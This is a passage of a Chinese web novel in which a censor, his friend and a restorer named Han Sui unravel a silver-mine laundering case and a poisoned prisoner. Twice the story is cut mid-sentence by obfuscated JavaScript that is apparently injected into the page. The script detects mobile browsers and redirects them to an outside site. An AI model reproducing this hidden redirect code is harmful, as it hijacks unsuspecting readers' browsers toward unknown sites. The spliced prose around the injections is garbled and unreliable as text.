她似乎是重逢后第一次这样清晰冷静地看他,忽觉他与记忆里的样子相比并无太多变化,只是轮廓硬朗了许多。不知是因为经历了什么,抑或单纯出于上位者的威严,其神情举止中的成熟冷冽,不自觉给人一种距离之感。 同行的冼牧川早已阔步上前:“明渊兄,你猜我们在古宝阁发现了什么!” 方湛闻声转面看过来,自然也快速扫了眼跟在后面的韩穗,后者立即心虚垂下暗中观察的视线,只假装在留心脚下门槛。 昌乐与一名差役将两只箱子搬入堂内,摆在方桌上。冼牧川则献宝似地将箱盖全部打开,把将才在古宝阁的经历添油加醋、眉飞色舞地讲述了一遍。 说到激动之处,他回身一把将韩穗拉上前,对方湛道:“虽说本人敏锐的洞察力不可或缺,但若不是韩姑娘的关键一举,我再耗上三日也找不到那奸商藏匿账册之处,这次韩姑娘可是为我们查案帮了大忙!” 方湛对此充耳不闻,视线却钉在冼牧川握韩穗胳膊的那只手上,直到那胳膊的主人略一偏挪,避开与人的接触,他才收回目光,去看箱内的账本。 “你确定这是刘百盛的真账册?”他淡淡一问。 “你还信不过我?别的本公子可能不如你,但看账可是一绝,打眼一瞧的事儿。”冼牧川胸有成竹。 此话听起来自夸自大,但也不全是瞎话。方湛对他知根知底,自然知道满门武将的冼家出了一个“账房先生”可是文英候平生最大心病。 “那就给你一个半日的时间,将刘百盛名下所有铺产核清。”方湛不咸不淡道。 “好说好说。”冼牧川嘴上应着,心里却想着韩穗此行最关切的事。 “这个不急,”他将箱盖一合,“今日我去郭掌柜家问话,正好遇到韩姑娘,她与郭家相熟,亲历过古宝阁旧案,所以趁她在这儿,你想知道什么问便是。” 不等方湛发话,他已吩咐斐然去看茶,径自招呼韩穗落座,顺便暗暗冲她挑眉使了个眼色。 他这是给她制造机会,好打探方湛突然过问古宝阁旧案的真实目的。 韩穗当然立即会意,还没完全坐下就倏地起身,朝方湛郑重行礼:“得知大人在查古宝阁旧日官司,因民女尽知此事全貌,不敢耽搁,特来向大人禀告。” 方湛静静看了她片刻,那一番口口声声的“大人”与“民女”,似乎在提示着她自重逢后对二人之间泾渭分明的刻意维持。 恍然间,昨天在日落前她说的那些话、索要香囊时期待“桥归桥路归路”的神情,一幕幕,似带着无数细小尖刺扎在心头。 他很是不悦,并任由这情绪演绎下去。 于是他将那个女人晾在一边,转头对冼牧川道:“今日张金龙总算吐口,又交待了许多事情,眼下线索杂乱,需尽快梳理清楚,至于古宝阁那桩旧案,不是关键,可押后再说。” 冼牧川见他板着脸,一点儿面子都不给恩人,心里不禁纳闷怎么了,但嘴上还得赶紧打圆场道:“也好也好,不过俗话说,三个臭皮匠顶个诸葛亮,经西山一行,韩姑娘已经不是外人了,再者她有洞幽烛远之能,不如我二人帮你一起梳理案情!” 此时斐然恰好端茶上来,闻言道:“这个建议好,冼少监精于银钱账目,韩姑娘熟悉云州人事,有二位帮忙,总好过公子一人闷头独想。” 方湛扫了眼韩穗正用晶亮双瞳注视自己的样子,转身走向次间,撂下简短一句:“过来吧。” 馆舍西次间是方湛来到云州后临时处理公事之处。斐然已将一张绷在立架上的屏布置于桌案前,又搬来三只太师椅,请韩穗等落座。 方湛却依旧站着,提笔蘸墨,在屏布当中写下“银矿”二字,又以此为中心,绕周依次写下田青、刘百盛、张金龙三人的姓名。 “矿监田青利欲熏心、胆大妄为,欲利用职权之便从皇家银矿中分羹。”他在田青与银矿之间连一道线,“可与他一同监矿者还有圣上的禁卫军,为躲开对方视线,他冒险来了一招‘灯下黑’,圈禁人手在矿区内秘密开挖私矿、炼银铸银。” 接着,他将田青与刘百盛相连,说道:“为方便在云州行事,田青豢养以刘百盛为首的爪牙数人,骗拐壮劳力为其采矿。” “与此同时,”又一道线从田青划至张金龙,“他安排死士张金龙来云州开设镖局,任务就是从银矿运走赃银。” “可是赃银数量巨大,他贸然带去上京花销难免引起怀疑,于是授意刘百盛在云州开了利昌赌坊和诸多商铺,”说着,方湛在刘百盛的名字下引出一条短线,写上“赌坊”二字,“赌坊进出流水向来可观,易做手脚,是洗清赃银出处的最好工具。” 最后,他将张金龙与刘百盛连线:“张金龙将赃银交给刘百盛经商,盈利所得或购货物或以现银方式再交给张金龙,装作正常商户走镖,运往上京和田青的老家定州。” “原来如此,”冼牧川看着屏布上的清晰图示,不禁感叹,“好大一盘棋啊,咱们这位小田公公还真是个人才!” 就在他由衷佩服对手之时,方湛又在屏布一侧写下了“叶阳县”三个字,叫他着实不解:“这跟叶阳县又有何关系?” 韩穗顺口解释道:“银矿位于西山东侧的叶灵峰,不远处就是由几个村落构成的叶阳县,黄知府不想与内官周旋,图省事便将叶阳县县令于江推出去顶缸,包括矿役征采、役工意外身亡后的抚恤等事,都是叶阳县县衙与矿监交涉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正分着神,又听方湛继续道:“田青应是提前得知圣上派人去各地查矿的消息后,害怕云州银矿的秘密被发现,于是伪造了一场矿难,意欲炸死为他开采私矿的所有劳工。可他没想到,炸药威力过大,连带震塌了周围几个矿洞,导致数十矿役惨死。随后一道圣旨,西山银矿关停,田青也被召回上京问罪。” 然而田青有个好干爹许采忠。许大当乃与圣上相伴长大,且在一场宫中火灾中立下救驾之功,圣上看在他的情面上,只给田青定了个渎职罪,并未有追加致命惩罚。 但能稳坐龙椅之人岂是好糊弄的,当今圣上实则对田青早有怀疑,而半月前一本揭发后者在云州、定州坐拥庞大田产的密奏,直接让他下定了彻查西山银矿的决心。 “矿难过后,圣上命内廷拨银抚恤死者家人,此一环节又出了问题。”方湛在“叶阳县”上方写下赵大、赵二兄弟俩的名字,“赵大便是矿难遇害者之一,他的寡妻不知从何听说上京已拨发抚恤银两,并未见到这笔钱的她直接去质问县衙,反遭驱赶。随后她又不知听信谁的话,认定是刘百盛冒领了此钱,因此与刘老太当街缠斗。” “赵大寡妻因挨了刘家毒打而吐血死亡,赵二由此开始状告刘百盛之路。” 59. 讫条 当今圣上成乾帝可以说是大胤自立朝以来最务实的一位帝王了。他与先帝风格迥然不同,不喜文人雅兴,一心扑在钱粮军事上,且对臣子奏事要求极高,所问必深入细节、巨细靡遗。 方湛口中的“数字”,想来就是指田青从银矿中偷走的具体铸银数量,以及在云州、定州和上京三地的生意规模了。 然而方湛的想法较她更深一层,他问冼牧川:“假如有贼人从你家库房偷走大批钱财,又把钱财拿去经商牟利,成了连你都眼红的巨富,难道你不会迫切地想知道对方到底偷走了多少钱?” 冼牧川一旦设身处地,立刻心痛道:“那当然想了,不仅要知道,还得让他还给我,最好盈利的那些钱也赔给我。” 说到这儿,他豁然明朗:“我懂了,咱们接下来需要把田青的那些田产铺子梳列成清单,等回京面圣,田青一旦定罪,你我直接将清单呈上,圣上便可名正言顺没入内库了!” 他笑着搭上方湛后背:“为官之道,还得是你啊明渊兄,如此一来,龙颜大悦,定会给咱们记一大功!” 方湛略一抿唇,抬手将冼牧川的胳膊拨下去,不接茬但也算默认了。他走近屏布,提笔在张金龙的名下写了“镖书”二字:“在此之前,还须先将田青偷银洗银的证据链条补全。其一,我们目前手中有万顺镖局与刘家签订的镖书,相当于已掌握经张金龙之手运往定州上京的钱财数量。” “其二,”冼牧川从方湛手中拿走朱砂笔,在刘百盛名字旁边写下“账本”二字,“方才已得到刘家总账,很快能盘查清楚刘百盛名下到底有多少铺产。” “诶——”他收笔后突然脑回路又跃了出去,猛然回身看向正凝神望着屏布的韩穗,“我突然发现,张金龙藏在榆水坡的镖书、刘百盛藏在古宝阁的总账,都是韩姑娘发现的呀!” “哇哇,你可真是神了,凶犯能引到墓里抓,关键的人证物证到处捡,你这个体质,若叫大理寺的人知道了,肯定得抢破脑袋招你入麾!” 面对此一番言过其实的吹捧,韩穗只能尴尬一笑置之。 冼牧川还在细数他的大理寺人脉,方湛已回身坐至太师椅内,从案几上端起茶盏慢慢啜饮。 茶盏落,他开口将跑偏的话题扳正:“眼下只缺一条,也是最重要的一环——刘百盛究竟从张金龙手中接收了多少赃银。” 话落,韩穗心下猛然一抽,立时联想到那六张夹藏在《候月图》中的讫条。 那些讫条本应正是刘百盛与张金龙交接赃银的凭证,可收银方却被人居心叵测地更换为郭大牛的字据。 她不由扭头去看搁在方桌上的那两只账册箱,其中那套假账通过条条数目,硬是把古宝阁与利昌赌坊绑定在了一起。 她此刻有十万分笃定,这就是连环套,正是刘百盛为混淆视听故意设下的障眼法。 坐立不安中,又听方湛道:“田青爱财如命,且疑心很重。据张金龙交代,他将赃银交给刘百盛时,双方收签讫条,一式两份,以便事后田青核帐。” “只是他的那份已经交给田青,此前冒险返回云州,目的正是向刘索要另一份讫条和账册。可是刘百盛生怕被过河拆桥,推三阻四,拒不交出,他便怀疑刘起二心,索性做局杀了他灭口。” 冼牧川将笔杆抵在下巴上,思索道:“如此说来,只要找到刘百盛手中的那份讫条,就能大功告成了。” 方湛缓缓摇头,无奈道:“玄英卫和捕快们都已四处寻遍了,并未找见。” 二人随即陷入各自的沉思中,屋内一时静默,谁都未曾留意到,韩穗垂目己久,只为掩饰内心中的虚慌。 她并非不识大体之人。眼前此种情形,她似乎应该立即坦白讫条之事,并解释清楚刘百盛死前如何计划将讫条夹在画中送往上京,又如何为了避免把柄落于对方手中,将自己的签押换成了郭大牛。 可她亦能全然预见,一旦此事见光,方湛必将追究到底。而她却无法保证,郭大牛当真只是无辜的替罪羊。万一他并非无辜,那郭家父女作为其亲人定然难逃严审,甚至被牵连戴罪也不无可能。 左右踟躇,两相权衡。她最终安慰自己,人各有志,身不由己,方湛这么聪明,定能找到其他法子证明刘百盛经商的钱财乃赃银,而她只需在回京前确保住郭家父女的安然。 “嗐,”另一边,冼牧川已迅速恢复乐观,“车到山前必有路,我呢就先把账册查明白,你呢带着玄英卫接着搜找讫条——哎,我倒有个好主意,带玄英卫不如直接带上韩姑娘,她这个随处捡证据的体质,比十个玄英卫都管用!” 还真让他说着了。 韩穗抽了抽嘴角,心虚道:“御史大人办案,我并无官身,怎好跟着叨扰?” 不料冼牧川对此事认真了:“你跟着明渊兄可不是叨扰,是助力!” 韩穗心道:什么助力,那叫自投罗网!恐怕自己随他寻找讫条不出半日就得被他察觉异常、露出马脚。 她支支吾吾地又搬出新理由:“可我毕竟是个女子,出入跟随大人不合礼制,只怕会影响大人声誉……” 冼牧川还想说什么,却被方湛冷冷打断:“韩姑娘既不愿,何必强人所难。” 韩穗循声看去,见他垂着眼帘,似乎心绪不佳,但也看不出更多的情绪。 “我不怕被影响声誉,”冼牧川手中转着朱砂笔,往山形笔搁上潇洒一放,回首对韩穗笑道,“接下来查账,你可得多来给我送送运气。” 韩穗假笑:“尽量。” 屋内氛围如此,她便知自己再没有久留的必要。 但这一趟她不能白来,于是硬着头皮起身,走到屏布前,装作查看上头的图示:“方才一听,可知刘百盛的命案算是彻底厘清了,那他的妻子郭品兰是不是就能洗脱嫌疑了,不知方大人何时解除收押,放她回家?” 方湛垂目看着手中杯盏里的茶汤色泽,语气淡淡却又不容质疑:“刘百盛命案牵扯太多,暂不能放。” 正欲争辩,韩穗突然记起冼牧川在禾香斋说他近日心情不爽的话,再看他此刻周身凝聚一股冷煞,便识趣地不再辩驳。 但有一事她不能不说。 “今日虽是在古宝阁内发现的刘家账册,但我可作担保,郭叔父与女儿品兰为人良善正直、是非分明,断不会与刘百盛等人同流合污,更与矿监田青无任何瓜葛。方大人接下来要如何查案我无权干涉,但请一定要相信,郭家父女与古宝阁绝对无辜!” 方湛缓缓抬眼,只见面前女子那好看的新月眉微微蹙拢,一双泛波杏眼中盈满了恳切、担忧, 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他抱臂倚在落地罩栏杆上,不满地拖着长声道:“喂,你今天是怎么回事,韩姑娘是你我的救命恩人,郭家父女又是她的救命恩人,她不过是希望那父女俩能远离官司、安稳生活,你至于如此铁面无私、驳人情面么?” 见方湛一声不吭,他更来气了:“再说了,好不容易有个又聪明又漂亮又有运气的姑娘陪我们办案,你倒好,把人家气跑了,亏你还与她是旧日同窗呢!” “你怎会知道此事?”方湛忽然抬头,眼锋骤凛。 “斐然跟我说的呗。” 正在一侧收茶盏的斐然忽然被点名,一脸无奈地转身,对方湛结结巴巴解释道:“公子,除了这个,我可没说别的啊.…...” 冼牧川无意出卖了斐然,一看情势不妙,赶紧虚张声势道:“反正,跟一堆男人办案没意思!我走了!” 冼牧川走后,屋内顿时安静下来。 方湛并未再追究斐然透露他与韩穗过往相识一事,只凝看着屏布,略有出神。 斐然小心翼翼试探道:“公子将郭氏收押在府衙,明明就是为了保护她,此事为何不跟韩姑娘说明白呢,徒惹姑娘误会。” 方湛目光寂寂,直到视线里屏布上的字迹开始发虚,才喃喃道:“我就是想知道,她为一个人关切紧张究竟会是什么样子。” “公子在说什么?”斐然听不真切,问道。 这一问叫方湛骤然回神,瞬间恢复目中的锐利,说道:“没什么。” 他起身走至屏布前:“我是在想,有一个人的名字并不在这图示之内,但他却与这一切都息息相关。只不过,我暂时还未想通,此人这番煞费苦心,究竟有何意图?” 斐然也一直跟随此案查办过程,听完此话,脑海中不由浮现出一个人的面孔:“公子说的那人可是……” 话还未完,就被从外头匆匆闯入的裘明打断。 绕是冬日天寒,他那张蓄满胡须的脸上仍不住地往下流汗。可他顾不上仪尊,一见到方湛便重声禀道:“大人,不好了,方才张金龙在狱中试图服毒自尽!” 60. 第三人(一) 马车驶入四方胡同时,韩穗心头的郁闷仍未有任何消解。 她想了一路都没想通,自己明明己经为当年之事向他好言致歉了,他也当下爽快表示原谅,怎么过了一夜后态度急转直下,甚至可以说是有意刁难。 难道是自己道歉的态度不够真诚? 还是说,他只是装作大度君子,实则内心仍然记恨自己? 莫名其妙地,她想起柳因因说过的一句话,“男女之情,爱之切则恨亦深。” 按照这个说法,这么多年过去了他还记恨自己,该不会是因为对她执念未却吧…… 随即她便被自己这个想法吓了一跳。 “怎么可能……”她抬手使劲拍了一下脑门,似乎这样就能将某些荒诞念头拍出去。 但凡他对她有一点真情实意,当初也不会披着书院杂役的外壳戏耍她那么多时日。 所以——她再次确定自己的结论——他的糟糕态度,一定不是因为自己。 但不管因为什么,他的坏心情可不能影响到郭叔父和品兰啊!若姓方的一直这样,她也只能再想个迂回的法子了…… 正没头没脑地想着,忽从行车辘辘声中辨出一个陌生的嗓门十足高的妇人声。 “您留步,别送了,别送了,快回去吧!” 那声音从行车前方飘来,韩穗一时好奇,便推开窗缝往外瞧去。旦见一个身材丰腴、鲜衣亮饰、浑身喜气洋洋的妇人,正从韩家门前的台阶上下来,与马车逆着方向而来。 韩穗合窗,心里不禁疑惑这个时候家里会有谁来。 马车停后,她快步下车,进门绕过照壁,刚好瞧见不远处游廊上宋妈往后院去的背影。 她一跃上了游廊,小跑着追过去:“宋妈!” 宋妈被冷不丁一叫,吓了一跳,回身见是韩穗,赶紧抚了抚心口:“哦哟小祖宗,差点被你吓坏了,你这是又去哪了,还知道回来吃饭?” 韩穗只装作没听见,笑问:“方才从咱家出去的那人是谁啊?” “姑娘看见了呀?哎呀,也不是什么重要的人……”宋妈言语含混、表情略有不自然,转身要走,却被韩穗抱住了胳膊。 “谁呀,谁呀?”她更好奇了。 宋妈拉扯着附在胳膊上的人走了几步,才妥协道:“还不是豆腐胡同的孙媒婆嘛!” “媒婆?通山要娶亲了?” “……跟通山有什么关系,人家是来问你,你的婚事!” 宋妈一顿足,索性坦白道:“说来也奇了怪了,今日一上午,家里就来了三个媒婆要帮你说亲,方才那孙媒婆只是其一。” “啊?”韩穗显然没料到是这么回事,不自觉松开了紧抱宋妈妈胳膊的手,无所适从地挠了挠头,“不对啊,我刚到云州时确实时有媒婆来,但不都被父亲和您打发了么,怎么还来?” “所以才奇怪呢,她们都说是替一个外地来经商的公子询问的,可话里话外都在打听姑娘和离的原因。” “也没什么奇怪的,”韩穗毫不在意,“她们定是想打探一下,我是不是因为犯了什么七出被休的呗。” “姑娘可别瞎编排自己,”宋妈拉过她的手,疼惜地拍了拍手背,“他们哪里有资格打探姑娘的事,几句话打发走已经很给面子了,正经该拿扫把将人扫地出门才是!” “那也犯不着,”韩穗挽着宋妈,二人往回走着,“将才我去了趟府衙,得知云州一案已经有眉目了,最多再有个三四日就能判审结案,届时咱们就可回京,还管那几个媒婆作甚!” “那太好了,终究还是得回上京的,上京好人家众多,自有大老爷和大太太为姑娘做主,就不信找不到一个只一心对你好的人!” 听到宋妈满怀信任地提起大伯母,韩穗欲言又止。 这么久以来,她都不曾告诉宋妈,自己嫁入白家那个大火坑的阴谋背后也有大伯母推波助澜的手笔,只因她自己也未曾想好,回京后该如何面对那位将毒手伸到自己身上的家人长辈。 再者,告诉宋妈也只能徒惹她生气伤心,更怕她关心则乱,按耐不住反害了自身。 二人走下游廊,韩穗转面道:“宋妈,我都说过好多次了,回京后我要靠揭裱一技自立门户给您养老送终的,不会再嫁。” 她不等宋妈再劝,便已松手,撂下一句“我心已决”,径自朝自己的厢房走去。 宋妈也只好将劝说的话截在口中,望着她坚定的背影,心事重重地叹了口气。 韩穗回到房间时,先秀正无精打采地趴在内间的小圆几上出神,就连开门声都没能惊动她。 “想什么呢?”韩穗径自解下披袄挂到衣架上。先秀这才回神:“姑娘总算回来了,早饿了吧?饭菜都热了好几回了,我现在去小厨房取来!” 韩穗看着她走出去的背影,并未说什么,走到屋角铜盆边净手。 片刻后,先秀拎着食盒进来,将两菜一汤并一碟夹沙蒸饼摆在桌上,随后又坐到一侧托起了腮。 韩穗坐下问道:“谁惹你了,这么闷闷不乐的?” “哪有,不过无聊罢了。”先秀绞玩着碎发编垂的小辫,突然坐直:“咦,姑娘怎么看出来的?” “我还不了解你,平日叽叽喳喳说个没完,一旦话少了就是有问题。” “好吧,”先秀承认道,“其实也没什么,就是先前那个护卫今天忽然之间撤走了,没人跟我玩了。” 韩穗不禁想到护卫面对先秀强行投喂和左问右问时的无奈神情,笑道:“你确定你们俩那是在玩?” “反正比被宋妈和榆娘捉去厨房干活有意思。” “人走了就走了呗,”韩穗看着她天真的圆脸蛋,安慰道,“等我下次出门带上你就是。” 先秀却只高兴了一瞬,又问:“护卫大哥为什么走了啊,不用再保护姑娘了么?” 韩穗放下本来也吃不太进去的饭碗,耐心解释起来:“先前咱们冒失去刘宅取东西,惊动了暗中监视刘家动静的人,那些人正是凶手张金龙派来的。方大人生怕他们误伤我们,才派玄英卫来保护韩家。张金龙入狱后,他手底下的人也被抓得差不多,剩下的群龙无首、只顾逃命。想是方大人觉得没有危险了,就把人撤走了。” “原来如此。”先秀琢磨了片刻,说道:“姑娘,我先发誓,我真不是因为方大人长得好看才为他说好话的,只是就事论事,若换了其他钦官大人,恐怕只管查案,压根儿不会考虑咱们的安危。就算有心管,也定不舍得派玄英卫来,直接安排两个捕快站岗完事儿。” 这一番话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662666|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟让韩穗一时陷入沉默之中。 一向看脸的先秀,这次却没有说错。倘若来云州督巡的不是方湛,恐怕在得知她闯入刘宅那一刻起,就要把她抓进大牢处置了,又怎能任由她几次拒绝交出取走之物,更不会派玄英卫暗中保护自己。 他好像对自己足够包容了,可为何又一直扣押品兰、拒绝沟通古宝阁之事,像是与她作对似的呢? 她好像又要陷入到那条想不通的死胡同中了。 先秀挪着凳子凑近,神秘兮兮地问道:“说实话,姑娘难道就没觉得方大人很好嘛?” 韩穗冷淡回应:“嗯,是很好,但跟我没关系。” 自四年前她决定加入白家之时,他与她就再无关系了。 韩穗从不后悔当初的选择,因为她清楚,就算没有那桩迫不得已的婚事,他二人也不会有结果。 桂亲王之侄,不日后的世子,仪表出众,凭逸群之才短时间内成为朝堂新星,这样的他注定与自己是不同世界的人。 不知怎么,她莫名想起冼牧川说过,就连郡主都会想方设法制造机会与他说话。 她强压下心中微小却不可忽视的异样感觉,用理智告诉自己,那样的二人相对场景才是正常。 她抬首看着先秀试图看穿自己又徒劳的样子,嗔怪道:“少胡思乱想没用的,有这功夫不如去打包裹,再过几日就要启程回京了。” “哦。”先秀起身缓缓走向内间,回首时看了眼韩穗明丽的侧影,心中懊叹着:要是姑娘从未嫁去过白家该有多好…… 就在韩穗胃口不振地进食着午饭时,几条街以外的州府老爷们更是食不知味。 州府膳堂的西花厅内,知府黄谦量、同知徐醇风、通判韩立煜,以及另两位衙门官员正死气沉沉地围坐在圆桌旁。 往日里他们鲜少来此用饭,公务繁忙便叫侍从取饭送到公廨,清闲时直接回家或三两相约下馆子去了。 自从京官一行来到云州,黄谦量迅速摸清方湛一切从简的脾性,少不得要投其所好,展露一下州府官员的精神面貌,于是私底下要求大小官员午间必须在膳堂用饭。 但他哪里真敢用大锅饭招待御史大人,便将自家用了多年的可心厨子挪来做起小灶,专供几位上京贵人及有品级的州府官员使用。 此刻早已过了午时,面对眼前这一桌热气腾腾的三素三荤一汤一主食,桌边的几位却都毫无食欲。 除了韩立煜。 他慢条斯理地净手,舀汤拿馍,先吃了口酱瓜条,又吸溜了半碗汤。 坐在对面的黄谦量睁大眼睛看着他,一张四方脸上五官皱成了一团:“韩兄啊,这个时候了,你还能吃得下啊!” 韩立煜一抬头,只见一桌同僚正满脸凝重地看着他,一时不好意思继续吃下去。 “韩兄为何非得吃不下去?”坐在旁侧的徐醇风伸手取勺给他添了汤,“他早不是这云州府衙之人了,留下来也不知是为了谁。” 这话说的指向性太明显,韩立煜赶紧搁下木箸,打圆场道:“不是为了谁的缘故,叶阳县民乱案我也有经手,眼下圣上派钦官大人复查该案,于情于理该当留下。” 他的视线在黄谦量和徐醇风之间来回切换,确认二人都无心继续杠下去,才松了口气。 61. 徐醇风(二) 州府地牢,灯火通明。 低矮的洞室内,方湛正手举火把,躬身四下查看。 这是张金龙服毒时所在的牢房,空间狭小,高度不能容一人直立,四面无窗,唯有一扇面朝甬道的铁栅栏门。 而此刻的甬道内,火光与人影交织幢幢,站了七八个焦虑不安的狱卒和神色冷峻的玄英卫。 裘明立于其中,背对牢门,正在审问一名下属。 “禀大人,”那名玄英卫笃定道,“在把张金龙押入地牢之前,属下等已将他身上所有衣物鞋袜除掉检查,就连头发都散开仔细筛了一遍,所穿牢服也都经多人验过,属下敢说有十万分把握,入狱时犯人绝对没有携带任何东西。” 玄英卫做事情向来严谨少有差错,更何况当时裘明也是在旁全程监督的,确认毫无疏漏。于是他只好又去问狱卒。 负责看守的狱卒战战兢兢,将今日已对不同上官说了好几遍的话又说了一遍:“回大人的话,州府关押重犯的牢房外都由两个狱卒看守,二人之间互相监督。大人,您也看到了,甬道壁上点有火把,而这铁栅栏门不算宽,我二人一边一个,彼此一举一动都能看清,可互相作证,绝对没有给那张金龙递任何东西!” 随后监守二道门的几个狱卒也表示,从犯人入狱到出事之间,除了方大人和玄英卫,再无其他人进入地牢过。 裘明一时躁怒:“这话什么意思,你们一个个都清白无辜,是问题出在了我玄英卫身上?来人,把这几个都拉下去火刑伺候!看看到底是谁出了问题!” 几个狱卒顿时跪地求饶,甬道内哭天喊冤连声。忽然,从牢房内传来一道疏朗的声音:“好了,别在他们身上浪费时间了,我已知道那毒药从何而来了。” 众人惊讶回看,只见牢房内,方湛正背对牢门蹲在角落里,回首冲裘明招手;“过来帮我举着火把,手酸了。” 裘明应声而至,接过火把,也如样面朝墙壁蹲下去,借着火光看向方湛所指之处。 地军内壁由石块砌筑,外层则用掺有干草秸秆的灰泥涂抹找平,时间久了难免有些脱落斑驳。 而被火光照亮的墻角处,就有一处似乎因为墻皮剥落而形成的寸长洞孔,洞旁则是一些土块、墻皮碎片、一块随处可见的碎石,以及一根细短的麻绳。 方湛伸手将那石块捡起,不等裘明开口提问,他已起身唤来一名玄英卫:“取一张纸,不用太大,刚好包住一小撮沙土即可,再将纸包用细麻绳绑在这块石头上。准备好东西后,出地牢,绕到地牢北墙根,找到从西数第二块嵌在墙上的透风花砖,最后将这绑有石头的纸包投进花砖镂隙内。” 那名玄英卫迟疑地接过石头,一脸迷惑。裘明见状呵斥道:“还愣着干什么,听懂了没,听懂了就赶紧按照大人的话去做!” “是!”卫兵急急领命而去。 紧接着,方湛又蹲回到角落里,专心致志盯看起墙角上的那个黑洞。 时间缓缓流逝,身后甬道里的人大气不敢出,裘明却越来越忍不住,终于低声问道:“大人,您究竟在看什么呀?” 方湛淡淡道:“等着便是,我的猜想正确与否,一会儿就有分晓。” 裘明只好闭嘴,耐住性子,瞪看着眼前平平无奇的墙角。又过了一刻钟功夫,就在他本就不多的耐性几近告罄时,突然听到一声轻微的异响,随即“啪嗒”一声,有什么东西从那墙角的黑洞里掉了出来。 “来了。”方湛用手指小心翼翼地从洞中抠出纸包,随后解开细绳,打开一看,里头正是他让卫兵包入的一小撮沙土。 “这、这,大人,这是怎么回事?”裘明震惊,想不通这纸包为何会突然在这里。 方湛却未立即回答,用手将墙角的土块随意拨到洞孔前,在本就是用士和砖夯成的地面上,此一处瞬间显得毫不起眼。 他起身拍了拍手上泥土,这才解释道:“州府地牢的图纸我曾看过,地牢上面是普通牢狱,砌在墙内的支撑木柱乃上下层共用。而这一间牢房的墻壁里,正好就有一根那样的立柱。” 他指了指墙角,示意立桂的位置,继续道:“营造工匠为了防止木柱在墙内阴潮腐蚀,便在柱子所在位置开设透气花窗。若我没猜错,给张金龙暗送毒药的那个人,早在犯人入狱前,就已经将此处立柱与墙之间掏通,形成一个联通花窗与牢房的小通道。接下来,他只需在犯人入狱时,特意安排进这间牢房,等时机一到,便可以将毒药以刚才的方式投送进来。” 裘明的眼睛与嘴巴渐渐张成了圆,一时间,震惊与无数个疑间堵挤在口中,他呐呐了几声,最终间出口的却是个最不紧要的问题:“那人是怎么能在墙里掏出通道的?” “并不难,”方湛解答,“工匠将立柱包在墻内时,本就会在柱体与砖石之间预留缝隙,再加上浇筑所用泥土年代久远,难免风化。而透风花砖开设在州牢的北墻根处,位置不高,只需用一根足够长且锋利的铁条,从花砖镂隙中插入,又或者直接取下花砖,上下多捅些功夫,也就成了。再加上州牢北墙高且无窗,附近未设固定的守岗,这又给了他足够的行动时间。” 裘明了然点头,终于想起他最想问的一点:“按照大人所说,给张金龙送毒药的人,更像是早有准备,早 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裘明看了眼方湛沉默不语的冷峻神色,不禁庆幸道:“幸亏早已让他在供状上签字画押了!” 冼牧川嘀咕出同样的疑问:“是啊,这么一想,此人可够奇怪的,既然能搞到毒药,怎么不早死,他主子那么大的事儿都交代明白了,上刑的罪也都受了,怎么现在又突然想不开了,难道是觉得进京后无颜面见主子?” 方湛对此却未作多评,道一声“走吧”,便提步继续前行。 “大人可是已经知道给张金龙送毒的人是谁了,这是要带我们去捉拿审问?”裘明紧跟在身后问道。 “急什么,”方湛淡然开口,“现下正是用膳的时间,不妨先让他把这顿饭好好吃完了再说。” “那现在咱们这是要去哪儿?”跟在他身后另一侧的冼牧川又发问。 “也吃饭!”他头也不回。 身后两人对视一眼,只好快步跟上。然而裘明仍有一肚子的疑问得不到解答,脸上的两条浓眉都快系到一起去了。 “属下还有一问,大人又是何时看的州牢营造图纸?” 方湛脚下疾阔的步子骤然一停,他转身看了眼跟了自己一路的“左右护法”,默默叹了口气,答道:“罪吏潜逃的第二天。” “那么早?可是大人当时为何想起要看营造图纸呢?” “因为那个人当初帮助罪吏潜逃时,就是用了同样的法子给他递送牢门钥匙。” 裘明顿时瞠目结舌:“原来助张金龙服毒的人是他!” 62. 徐醇风(三) 这日用饭心不在焉者再添一人。 裘明几乎是几下就把饭菜扒拉完,漱了漱口,提刀来到馆舍外,摩拳擦掌地等候方湛用饭完毕,好带他去缉拿那个在州府内几番暗中作怪的“内鬼”。 其实按照他的性子,早在掌握第一条线索实证时,就好直接将人拿下审问个水落石出了,可他那位上司明显有着与其年龄经历极不相符的沉着冷静,更想借机放长线、钓大鱼。 裘明虽想不到能钓上来哪条大鱼,但在云州的短短几日内,他早己建立起对方湛的高度信任,知其行事有度,自己只需服从执行,以及培养更多的耐心罢了。 然而这次,方湛好似故意与他的耐心作对,饭食过后,仍未作出令人激动的拿人命令,而是转身又去了州狱,提审了一个快被大家遗忘的人——赵二。裘明则被派去过问张金龙的那些个手下,几个流程走下来,大半日的时辰就已过去。 至于州府老爷那边,几人聚在知府公廨内等了一个下午,也没等到预想中御史大人的大发雷霆与传讯质问。 黄谦量心有惴惴,认为这是暴风雨来临前的宁静假象。韩立煜则宽抚说,想是张金龙突然出事对整个案情影响并不大,毕竟供状画押都已在手,方大人或许不想追究太多,以免浪费结案的时间。而徐醇风自从说了那句让大家以为他不堪重负、以至于神经错乱的话以后,就一直沉默不语。 诸位老爷就这样各有心绪地等到日落时分,最终只等来了方湛命人来传的一句“散衙”,之后便面面相觑,只好遵命各自归家去了。 日暮西沉后,冬夜吸尽了最后一缕亮光,黑暗与刺骨严寒慢慢侵噬着整座云州城。 位于城东的徐家宅邸早早亮起门前两盏灯笼,在冷风中吱呀摇曳着,而那灯中的幽火便也跟着明明灭灭。 须臾,一顶双抬小轿缓缓落于灯下,徐醇风从轿中下来,如往常般走进家门,却不见门房出来相迎。他暗骂一声门房偷懒,径自绕过影壁,穿过回廊,直往书房走去。 